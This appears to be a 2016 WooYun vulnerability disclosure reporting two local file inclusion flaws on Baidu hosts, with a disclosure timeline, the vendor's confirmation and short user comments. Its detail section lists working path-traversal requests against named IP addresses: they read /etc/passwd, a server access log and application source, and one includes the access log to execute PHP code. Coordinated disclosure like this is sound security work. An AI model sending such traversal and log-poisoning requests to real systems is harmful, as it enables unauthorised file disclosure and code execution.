当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0193384

漏洞标题:百度两处本地任意文件包含漏洞(证明可执行PHP代码)

相关厂商:百度

漏洞作者: 海绵宝宝

提交时间:2016-04-07 11:53

修复时间:2016-05-22 13:30

公开时间:2016-05-22 13:30

漏洞类型:敏感信息泄露

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-07: 细节已通知厂商并且等待厂商处理中
2016-04-07: 厂商已经确认,细节仅向厂商公开
2016-04-17: 细节向核心白帽子及相关领域专家公开
2016-04-27: 细节向普通白帽子公开
2016-05-07: 细节向实习白帽子公开
2016-05-22: 细节向公众公开

简要描述:

详细说明:

http://180.97.33.195/pcheck/index.php?action=showPcheck&report=../../../../../../../../../../etc/passwd


http://180.97.36.23/pcheck/index.php?action=showPcheck&report=../../../../../../../../../../etc/passwd


curl "http://180.97.33.195/pcheck/index.php?action=showPcheck&report=../../../../../../../../../../home/img/odp/log/access_log"
读取log
curl "http://180.97.33.195/pcheck/index.php?action=showPcheck&report=../../../../../../../../../../home/img/odp/webroot/pcheck/index.php"
读取源码
curl "http://180.97.33.195/pcheck/index.php?action=../../../../../../../../../../home/img/odp/log/access_log%00&report=1"
利用access_log执行PHP代码

漏洞证明:

1.png


2.png


代码执行效果

2.png


将返回信息进行html话呈现

1.png

修复方案:

版权声明:转载请注明来源 海绵宝宝@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-04-07 13:26

厂商回复:

非常感谢您的报告,问题已着手处理,感谢您对百度安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-04-07 13:01 | 紫霞仙子 认证白帽子 ( 普通白帽子 | Rank:2302 漏洞数:307 | 长期招聘安全测试人员,熟悉or精通python,...)

    @子非海绵宝宝 这你兄弟么?

  2. 2016-04-07 13:02 | 海绵宝宝 ( 普通白帽子 | Rank:369 漏洞数:86 | 唯有梦想与好姑娘不可辜负.)

    谢谢 @狗狗侠 的利用姿势

  3. 2016-04-07 13:48 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1393 漏洞数:147 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    @紫霞仙子 人家注册比我早 是我的前辈